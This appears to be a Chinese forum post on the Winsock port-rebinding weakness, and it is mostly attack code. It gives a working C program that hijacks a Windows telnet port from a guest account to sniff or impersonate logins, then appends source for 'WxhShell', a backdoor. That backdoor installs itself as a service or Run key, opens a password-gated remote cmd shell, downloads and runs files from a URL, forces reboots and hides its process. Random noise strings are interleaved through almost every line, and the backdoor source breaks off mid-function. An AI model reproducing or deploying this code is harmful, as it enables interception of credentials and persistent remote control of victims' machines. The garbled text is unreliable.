在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
z;lWr(-x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
r}M2t$nv a_(fqoW saddr.sin_family = AF_INET;
^X|Bzz) bZCNW$C3l saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZRn!z`.0 f5P@PG]{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9iM[3uyO w\%AR1,rs 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
tk66Ggi[K fD~f_Wr 这意味着什么?意味着可以进行如下的攻击:
8c<OX! \:Z8"~G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
A&UGr971 Q7pjF`wu 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
d37|o3oC g93Hl& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%mNd9 ]< XLj|y#h 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
n0vhc; d Psw<9[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
NxrfRhaU3 OR<%h/ \f 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.9$
7
+ fDrjR6xV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4|/=]w xF8 8'p' #include
Ry`Y + #include
Rd,5&X$ #include
^+u/Lw& #include
UhbGU G DWORD WINAPI ClientThread(LPVOID lpParam);
_qjkiKm?1F int main()
UUR` m {
1+9}Xnxb WORD wVersionRequested;
,niQs+'< DWORD ret;
S&{#sl#e WSADATA wsaData;
DpvMY94Qh BOOL val;
%3es+A@ SOCKADDR_IN saddr;
fa2hQJ02 SOCKADDR_IN scaddr;
f<LRM int err;
aB2t /ua SOCKET s;
g;\_MbfP SOCKET sc;
\!df)qdu int caddsize;
A k+MREG HANDLE mt;
g&fq)d DWORD tid;
<4RP:2# wVersionRequested = MAKEWORD( 2, 2 );
sG:tyvln err = WSAStartup( wVersionRequested, &wsaData );
c+.?+g if ( err != 0 ) {
;bYLQ printf("error!WSAStartup failed!\n");
[zr2\( return -1;
`c'R42SA }
Qt"i saddr.sin_family = AF_INET;
9k3RC}dEr gi
JjE //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
j7
\y1$w nrJW.F]S8[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
EzGO/uZ] saddr.sin_port = htons(23);
*4O9W8Qz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yBnUz" {
4N_iHe5U printf("error!socket failed!\n");
g$^I/OK? return -1;
U^d!*9R }
=m/BH^|&W val = TRUE;
*5q_fO //SO_REUSEADDR选项就是可以实现端口重绑定的
w~Jy,[@n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
k@9CDwh*s {
sg8j}^VI printf("error!setsockopt failed!\n");
%^}|HG*i?? return -1;
sO0j!;N }
'=cAdja //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!xz{X ? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/(?,S{] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
u$nYddak ^ SW!S_&Z2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+a74] H" {
*s (L!+ ret=GetLastError();
O[\obi"} printf("error!bind failed!\n");
;]Ko7M(4 return -1;
;\rKkH"K8n }
{:ZsUnzm listen(s,2);
FSA"U9 w< while(1)
aJSBG|IC {
9
M!U@> caddsize = sizeof(scaddr);
]Aa.= //接受连接请求
'I5~<"E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
baz~luM if(sc!=INVALID_SOCKET)
/tu\q {
{]3Rk mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~s-"u
*> if(mt==NULL)
IpKpj"eoLy {
Oi,:q& printf("Thread Creat Failed!\n");
+|6 u
0&R^ break;
xL\R-H^c] }
e3}o3c_ }
D0
,t,,L CloseHandle(mt);
2F|06E' }
q#*b4q
{ closesocket(s);
!z|a+{ WSACleanup();
epQdj=h return 0;
'<% ;Nv }
T}y@ a^# DWORD WINAPI ClientThread(LPVOID lpParam)
3#~w#Q0% {
+JPHQx'W SOCKET ss = (SOCKET)lpParam;
f~v@;/HL SOCKET sc;
nW!pOTJq21 unsigned char buf[4096];
&ngG_y8}& SOCKADDR_IN saddr;
M}qrF~ long num;
d
D;r35h= DWORD val;
:y3e-lr DWORD ret;
ILMXWw //如果是隐藏端口应用的话,可以在此处加一些判断
OE5JA8/H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[hXnw'Im/ saddr.sin_family = AF_INET;
)=6o, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#({ 9M saddr.sin_port = htons(23);
Gu5%P ou if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+w9X$<?_ {
%tT=q^%5 printf("error!socket failed!\n");
mFW/xZwR,5 return -1;
?b3({P }
QRAw# val = 100;
>SaT?k1E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%G/j+Pf {
,,CheRO ret = GetLastError();
&b!|Y return -1;
B|.8+Q }
=` KV),\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G_)(? {
$\vTiS' ret = GetLastError();
^eY% T5K return -1;
;/)u/[KAv }
Mt
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y3Lq"?h {
];hK5 printf("error!socket connect failed!\n");
3FhkK/@ closesocket(sc);
0mY KzJi closesocket(ss);
jR@J1IR< return -1;
i YBp"+#2 }
CT#u+]T while(1)
K XbD7N. {
t7qzAr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*;X,yEK[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
RZ GD5`n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
XpoEZ|0 num = recv(ss,buf,4096,0);
;.#l[ if(num>0)
^UiSezcI send(sc,buf,num,0);
oV=~Q#v else if(num==0)
C ehz]C break;
8D1+["& num = recv(sc,buf,4096,0);
_0
$W;8X if(num>0)
Ry4`Q$=: send(ss,buf,num,0);
tk~<tqMq else if(num==0)
PYJ8\XZ1_N break;
5`Oaf\S }
v]e6CZwo closesocket(ss);
ns`njx}C closesocket(sc);
m8C
scCZ} return 0 ;
^:64(7 }
sB'Z9 &#DKB#.2 6Cz%i6) ==========================================================
3,$G?auW 04P!l 下边附上一个代码,,WXhSHELL
3Q_L6Wj~ (5R_q.Wu ==========================================================
z2DjYTm[~ _1U7@v:<@ #include "stdafx.h"
ebmU~6v k E!}~j #include <stdio.h>
o%V%@q H #include <string.h>
$ITh)#Nj #include <windows.h>
HqKI|^ #include <winsock2.h>
{Tl |>\[P #include <winsvc.h>
f<}>*xH/k #include <urlmon.h>
!K5D:x i\94e{uty[ #pragma comment (lib, "Ws2_32.lib")
YpwMfl4 #pragma comment (lib, "urlmon.lib")
LG>lj$hO -na oM #define MAX_USER 100 // 最大客户端连接数
'Nn>W5#)) #define BUF_SOCK 200 // sock buffer
PAHkF& #define KEY_BUFF 255 // 输入 buffer
d>r_a9 .u #Y;tobB #define REBOOT 0 // 重启
?VP07
dQTe #define SHUTDOWN 1 // 关机
2/M:KR QZ^P2==x #define DEF_PORT 5000 // 监听端口
N9jSiRJ aK4ZH}XHE" #define REG_LEN 16 // 注册表键长度
h Lv_ER? #define SVC_LEN 80 // NT服务名长度
Gp5[H}8K A@qwD300Vo // 从dll定义API
<Z58"dg.5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+tSfx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
jg+q{ ^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}"o,j>IP typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
1KWGQJ%%s R#w9%+ // wxhshell配置信息
Y~C;M6(P struct WSCFG {
3IHA+Zz int ws_port; // 监听端口
[G>U>[u| char ws_passstr[REG_LEN]; // 口令
. L'eVLQe int ws_autoins; // 安装标记, 1=yes 0=no
:3$-Qv X char ws_regname[REG_LEN]; // 注册表键名
ed6eC8@ char ws_svcname[REG_LEN]; // 服务名
&R~)/y0] char ws_svcdisp[SVC_LEN]; // 服务显示名
\CDzVO0^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
:HTV 8;yc char ws_passmsg[SVC_LEN]; // 密码输入提示信息
^DWhIxBh int ws_downexe; // 下载执行标记, 1=yes 0=no
/O/pAu> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
u&\QZW? char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,8/Con|o zy!mP };
;0 No@G;z zb=L[2; // default Wxhshell configuration
>+8Kl`2sw; struct WSCFG wscfg={DEF_PORT,
.X)TRD#MW "xuhuanlingzhe",
9]^ CDL 1,
JC}oc M
j0 "Wxhshell",
Y9_OkcW) "Wxhshell",
P]wCC`qi "WxhShell Service",
'vV|un(6 "Wrsky Windows CmdShell Service",
$`O%bsjX "Please Input Your Password: ",
>y7|@'V[v0 1,
DS]C`aM9 "
http://www.wrsky.com/wxhshell.exe",
p@Ng.HE "Wxhshell.exe"
f1}am< };
D^jyG6Ch Sx|)GTJJ|- // 消息定义模块
)Fw{|7@N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
xKW`m char *msg_ws_prompt="\n\r? for help\n\r#>";
[>y 0Xf9^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4~YPLu char *msg_ws_ext="\n\rExit.";
rbD}fUg char *msg_ws_end="\n\rQuit.";
+M %zOX/ char *msg_ws_boot="\n\rReboot...";
G"&yE.E5 char *msg_ws_poff="\n\rShutdown...";
%\ef
Mhn char *msg_ws_down="\n\rSave to ";
Wo[*P\8 yB~`A>~M char *msg_ws_err="\n\rErr!";
=n73bm char *msg_ws_ok="\n\rOK!";
etk@ j3# 0X'2d char ExeFile[MAX_PATH];
;\[el<Y)s int nUser = 0;
Ja(>!8H>@ HANDLE handles[MAX_USER];
[sF
z ;Py] int OsIsNt;
z0Bw+&^]} NL76 jF SERVICE_STATUS serviceStatus;
5Dv;-G; SERVICE_STATUS_HANDLE hServiceStatusHandle;
h%yw'?s T~"T%r // 函数声明
d9>k5! int Install(void);
rs?"pGz; int Uninstall(void);
@M!WosRk int DownloadFile(char *sURL, SOCKET wsh);
IS9}@5`' int Boot(int flag);
$&l}
ABn void HideProc(void);
1P1"xT int GetOsVer(void);
~Vf+@_G8` int Wxhshell(SOCKET wsl);
1O{x9a5Z?O void TalkWithClient(void *cs);
7ga|4j3% int CmdShell(SOCKET sock);
*4<Kz{NF int StartFromService(void);
_Boe" int StartWxhshell(LPSTR lpCmdLine);
Y o$NE ; M%n=+[O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
RCvf@[y4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
se:lKZZ] ` e~nn // 数据结构和表定义
wf[B -2q) SERVICE_TABLE_ENTRY DispatchTable[] =
)1!jv! {
H*M )<"X {wscfg.ws_svcname, NTServiceMain},
4LfD{-_uW {NULL, NULL}
NrrnG]#p1 };
paG^W&`; ?'L3B4 // 自我安装
zld[uhc> int Install(void)
tnCGa%M {
k25:H[ char svExeFile[MAX_PATH];
=eNh))] HKEY key;
a?]"|tQ' strcpy(svExeFile,ExeFile);
;E{k+vkqy j>KJgSs]&\ // 如果是win9x系统,修改注册表设为自启动
V7\@g if(!OsIsNt) {
qbwX*E~; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
K4V\Jj1l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f4Yn=D=_ RegCloseKey(key);
Q#}
0pq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Cb5Rr+K= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C~&~Ano, RegCloseKey(key);
wgeR%#DW return 0;
qek[p_7 }
4Sq[I }
D$wl.r }
$&!i3#FF else {
:XP/ `%: M-Tjp'=* // 如果是NT以上系统,安装为系统服务
@D3Y}nR: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
`- \J/I if (schSCManager!=0)
37SbF,G {
'p{N5eM SC_HANDLE schService = CreateService
{d%% nK~ (
H(~:Ajj+zQ schSCManager,
?^<
E#2a wscfg.ws_svcname,
j
m]d:=4_ wscfg.ws_svcdisp,
)zR(e>VX SERVICE_ALL_ACCESS,
\UF/_'=K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}eO{+{D+ SERVICE_AUTO_START,
^=lh|C\# SERVICE_ERROR_NORMAL,
rv\yS:2 svExeFile,
P!apAr NULL,
wePhH*nQ> NULL,
*h `P+_Q7 NULL,
(pl|RmmDz NULL,
^"?fZSC NULL
=y$|2(6 );
:'pLuN if (schService!=0)
#9a\Ab {
D[NJ{E.{ CloseServiceHandle(schService);
1@}`dc CloseServiceHandle(schSCManager);
a->;K+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
@We im7r strcat(svExeFile,wscfg.ws_svcname);
4w\@D>@}H if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
/ehmy(zL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5a PPq~% RegCloseKey(key);
~T{^7"q\ return 0;
~'[0-_]=f }
m4<5jC`-M }
[f?fA[,[ CloseServiceHandle(schSCManager);
X(`wj~45VX }
r ^m8kYezQ }
`k 5'nnyP J ^y1=PM return 1;
IYo{eX~= }
=u5a'bp0;; 9uNkd2# // 自我卸载
kma)DW int Uninstall(void)
/5l"rni {
GbLuXU HKEY key;
|A'y|/)#Z <yw6Om:n< if(!OsIsNt) {
j`'9;7h M6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w6RB|^ RegDeleteValue(key,wscfg.ws_regname);
WB7pdSZ RegCloseKey(key);
xnfMx$fD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u?J!3ZEtb RegDeleteValue(key,wscfg.ws_regname);
nkp, RegCloseKey(key);
iE~][_%U return 0;
jc4#k+sb }
*u i!|; }
v*.[O/,EBR }
JjXuy7XQ else {
3u)NkS= e#+u8 LrN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'\MYC8" if (schSCManager!=0)
sUCI+)cM3 {
>;$C@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
cILI%W1 if (schService!=0)
_XO3ml\x@ {
Mj
guH5Uy if(DeleteService(schService)!=0) {
JBYmy_Su CloseServiceHandle(schService);
%z0;77[1 I CloseServiceHandle(schSCManager);
2~*J<iO&l return 0;
xksd&X: }
. paA0j CloseServiceHandle(schService);
1kd\Fq^z$ }
]WsQ= CloseServiceHandle(schSCManager);
]~Su }
Aa.eu=@I }
d'oh-dj %^ p-6Y5$Y return 1;
\-]zXKl2k }
?=bqya"Y va>u1S<lO // 从指定url下载文件
6/%dD DU int DownloadFile(char *sURL, SOCKET wsh)
[eWZ^Eh"I {
VIXY?Ua HRESULT hr;
]tjQy1M char seps[]= "/";
nE2w? char *token;
O ;34~k
char *file;
@d+NeS char myURL[MAX_PATH];
,EE,W0/zzM char myFILE[MAX_PATH];
YR 5C`o P1r)n{; strcpy(myURL,sURL);
vky@L! &, token=strtok(myURL,seps);
D<16m<b while(token!=NULL)
tRl01&0S {
g+X .8>= file=token;
2ncD,@ij token=strtok(NULL,seps);
~yGD("X }
#cnh
~O ($h`Y;4 GetCurrentDirectory(MAX_PATH,myFILE);
2@A%;f0Q strcat(myFILE, "\\");
gPW% *|D, strcat(myFILE, file);
u6B,V send(wsh,myFILE,strlen(myFILE),0);
o4^|n1vN send(wsh,"...",3,0);
DR%16y<h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V!{}%;f if(hr==S_OK)
ZM6`:/lc return 0;
K+s@.D9J else
SU,#:s( return 1;
^n @dC? 5~pQ$- }
1 +0-VRl >8*0"Q // 系统电源模块
ef Moi 'v int Boot(int flag)
l\HLlwYO {
O<RLw)nzg HANDLE hToken;
NMM$
m!zg TOKEN_PRIVILEGES tkp;
K&\
q6bU
W0&x0 if(OsIsNt) {
)F$<-0pT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#[uDVCM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]gw[
~ tkp.PrivilegeCount = 1;
G2 E4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9 W7 ljUg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Wq+a5[3" if(flag==REBOOT) {
wm'a)B? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
t1Zcr#b> return 0;
~YH'&L.O }
3w>S?"W# else {
kL7n`o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:j)v=qul return 0;
v7h!'U[/ }
=hP7Hea(N }
{\-9^RL else {
&2P+9j> if(flag==REBOOT) {
M3 TsalF if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G[bWjw86O return 0;
}%T8?d] }
C-}@.wr( else {
&P0jRT3e#Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
v>[U*E return 0;
w
YEkWB^ }
t)i{=8rq }
$M0F~x UZV\]Y return 1;
pef)c,U$ }
_<8~CWo: qDVt // win9x进程隐藏模块
#B^A"?*S void HideProc(void)
"KiTjl`M, {
fHLt{ !O r=J+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1^HmM"DD if ( hKernel != NULL )
u alpm#GU {
;h-W&i7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,(@J Ntx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t/k MV6 FreeLibrary(hKernel);
w<P$)~6 }
w Avnj *6`};ASK return;
BKV,V/*p }
.XVW2ISv it#,5#Y: // 获取操作系统版本
,u<oAI` int GetOsVer(void)
gB)Cmw* {
k vQ]
}`a OSVERSIONINFO winfo;
V#P`FX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0DsW1 GetVersionEx(&winfo);
'Zket=Sm; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
r3BQo[ 't return 1;
Qf
.ASC else
,O'#7Dj return 0;
0# d:<+4D }
0DB8[#i%: (>R // 客户端句柄模块
,pHQv(K/ int Wxhshell(SOCKET wsl)
l2*o@&. {
'O+)[D SOCKET wsh;
MV?#g-5 struct sockaddr_in client;
SqosJ}K DWORD myID;
%S$+3q%F H5)8TR3La while(nUser<MAX_USER)
(oxMBd+n1 {
0zHMtC1, int nSize=sizeof(client);
|lG7/\A wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
J/(^Z?/~P! if(wsh==INVALID_SOCKET) return 1;
w~%Rxdh?8W EW~M,+? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
c]+uj q if(handles[nUser]==0)
Sp]u5\ closesocket(wsh);
E |K|AdL else
^Mm sja5K nUser++;
a`*Dq"9pV }
Aw)I:d7F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'~\\:37+ &*YFK/ ] return 0;
2e<u/M21> }
xCYK"v6\ 4c'F.0^ // 关闭 socket
i!i=6m.q7 void CloseIt(SOCKET wsh)
\5pBK {
+.2OZ3( closesocket(wsh);
Q^{XM nUser--;
7@NV|Idtd ExitThread(0);
/Pyj|!C3`q }
.dO8I/lhV NW4tQ;ad // 客户端请求句柄
t[4V1: void TalkWithClient(void *cs)
H2JKQm_ {
R8%%EEB Gpf9uj% SOCKET wsh=(SOCKET)cs;
{~"fq.h!M char pwd[SVC_LEN];
Q`m9I char cmd[KEY_BUFF];
n|N?[)^k char chr[1];
o FS2*u int i,j;
oB$c-!& L:_GpZ_ while (nUser < MAX_USER) {
)jPIBzMys Z'!i"Jzq|{ if(wscfg.ws_passstr) {
?_t_rF(?6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
r T"3^,, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kQw%Wpuq[/ //ZeroMemory(pwd,KEY_BUFF);
V~
q
b2$ i=0;
NyR,@n1 while(i<SVC_LEN) {
H{et2J<H B(1WI_}~ // 设置超时
cfC}"As fd_set FdRead;
V)Sw\tS6g struct timeval TimeOut;
gA:unsI FD_ZERO(&FdRead);
)&s9QBo{b FD_SET(wsh,&FdRead);
I&wJK'GM` TimeOut.tv_sec=8;
2)MX<prH TimeOut.tv_usec=0;
?D_^ 8\R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
X-y3CO:&@h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
c\le8C3 i?:#lbw_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
-~Chf4?<4 pwd
=chr[0]; t\XA
JU
if(chr[0]==0xd || chr[0]==0xa) { dJF3]h Y
pwd=0;
1}Th@Vq
break; QJF_ "
} "DC L
Z
i++; ,v#O{ma
} }B ?_>0
M)"'Q6ck=
// 如果是非法用户,关闭 socket @gnLY
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u\q(v D.
} O~#A )d6
HV=P!v6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _ -|+k
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &d_2WQ}
sH.,O9'r
while(1) { G$[Hm\V
gx.\&W b
ZeroMemory(cmd,KEY_BUFF); Yq>K1E|
lFN|)(X
// 自动支持客户端 telnet标准 Y~k,AJ{ ^
j=0; q&2L@l3A
while(j<KEY_BUFF) { hplx s#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sQmJ3 (:HO
cmd[j]=chr[0]; m(w 9s;<
if(chr[0]==0xa || chr[0]==0xd) { +Kp8X53
cmd[j]=0; ()W`4p
break; j;J`PH
} GmH`ipi
j++; 5c0$oyl)M
} (tCBbPW6T?
zSagsH |W
// 下载文件 %)w7t[A2D
if(strstr(cmd,"http://")) { AAF']z<4_"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); B:VGa<lx5
if(DownloadFile(cmd,wsh)) =wMq!mBd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z# %s/TL
else +`7!4gxwK!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~(`&hYE
} NQcNY=
else { .cz7jD
k'NP+N<M
switch(cmd[0]) { `$MO;Fv,G
uT>"(wnJ|
// 帮助 jN!VrRA
case '?': { jdkqJ4&i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %6la@i
break; u
s8.nL/
} \olY)b[
// 安装 Z>[n~{-,p
case 'i': { 0|kH0c,T-
if(Install()) 8p#V4liE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X!6$<8+1OV
else deEc;IAo
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b!qlucAeE
break; 6OR) 97
} kZ= 2#.
// 卸载 n}C0gt-
case 'r': {
i (`Q{l
if(Uninstall()) IEe;ygL#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'vV+Wu#[
else 'Hsd7Dpi}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n5y0$S/D
break; y+
4#Iy
} K j~!E
H"
// 显示 wxhshell 所在路径 }l&y8,[:
case 'p': { >DAi-`e
char svExeFile[MAX_PATH]; ]GDjR'[z
strcpy(svExeFile,"\n\r"); s@p:XO
strcat(svExeFile,ExeFile); {I/t3.R`
send(wsh,svExeFile,strlen(svExeFile),0); Rm}G4Pq
break; [Wxf,rW i
} U#%+FLX@w
// 重启 r::0\{{r"p
case 'b': { I%{ 1K+V/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LfJMSscfv
if(Boot(REBOOT)) S0ReT*I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OVE?;x>n/1
else { rP#&WSLVj
closesocket(wsh); hcz!f
ExitThread(0); `O!yt
} S263h(H
break; Gr'|nR8
} NZ?dJ"eq7
// 关机 UgD)O:xaU
case 'd': { 8@
f+?g*i
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fOdX2{7m
if(Boot(SHUTDOWN)) 7d/I"?=|rA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BY':R-~(
else { pLM?m
closesocket(wsh); ]G^9PZ-
ExitThread(0); \(}pm#O
} Wiyiq )^
break; `/9I` <y
} Cq[Hh#q
// 获取shell pb G5y7
case 's': { j=c< Lo`
CmdShell(wsh); $W9dUR0
closesocket(wsh); Ya-GDB;L
ExitThread(0); LYiIJAZ.
break; D~M*]&
} ^>^h|$
// 退出 0U !&|i\
case 'x': { -j@IDd7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GiKhdy
CloseIt(wsh); ""m/?TZq'
break; 0<##8m@F8
} 'Er\68
// 离开 v5&W)F
case 'q': { KL*+gq0k
send(wsh,msg_ws_end,strlen(msg_ws_end),0); cC]]H&'Hg+
closesocket(wsh); (hh^?
WSACleanup(); AmQsay#I_
exit(1); P<;Puww/
break; EKS?3z%!
} g`~;"%u7cn
} 2wa'WEx
} Io tc>!
/B|"<`-H
// 提示信息 wL}X~Xa3i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ],vid1E
} 2`> (LH
} c:+UC
H%Z;Yt8^gt
return; -:~z,F
} qIB2eCXw
,1]VY/
// shell模块句柄 ;9q$eK%d
int CmdShell(SOCKET sock) /O`R9+;
{ @Fzw_qr
M
STARTUPINFO si; ,@I\'os
ZeroMemory(&si,sizeof(si)); GIfs]zVr`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z-yoJZi
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5kA D vi.
PROCESS_INFORMATION ProcessInfo; 5DO}&%.xt
char cmdline[]="cmd"; !)}D_9{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1:_}`x=hM
return 0; D
|fo:Xp,
} c._!dqR
j,Qb'|f5
// 自身启动模式 d,Oe3?][0p
int StartFromService(void) v- p8~u1N
{ >FJK$>[1:p
typedef struct Y![8-L|Q
{ n57mh5mixM
DWORD ExitStatus; ad9u;uS
DWORD PebBaseAddress; =LEzcq>XO
DWORD AffinityMask; eLbh1L
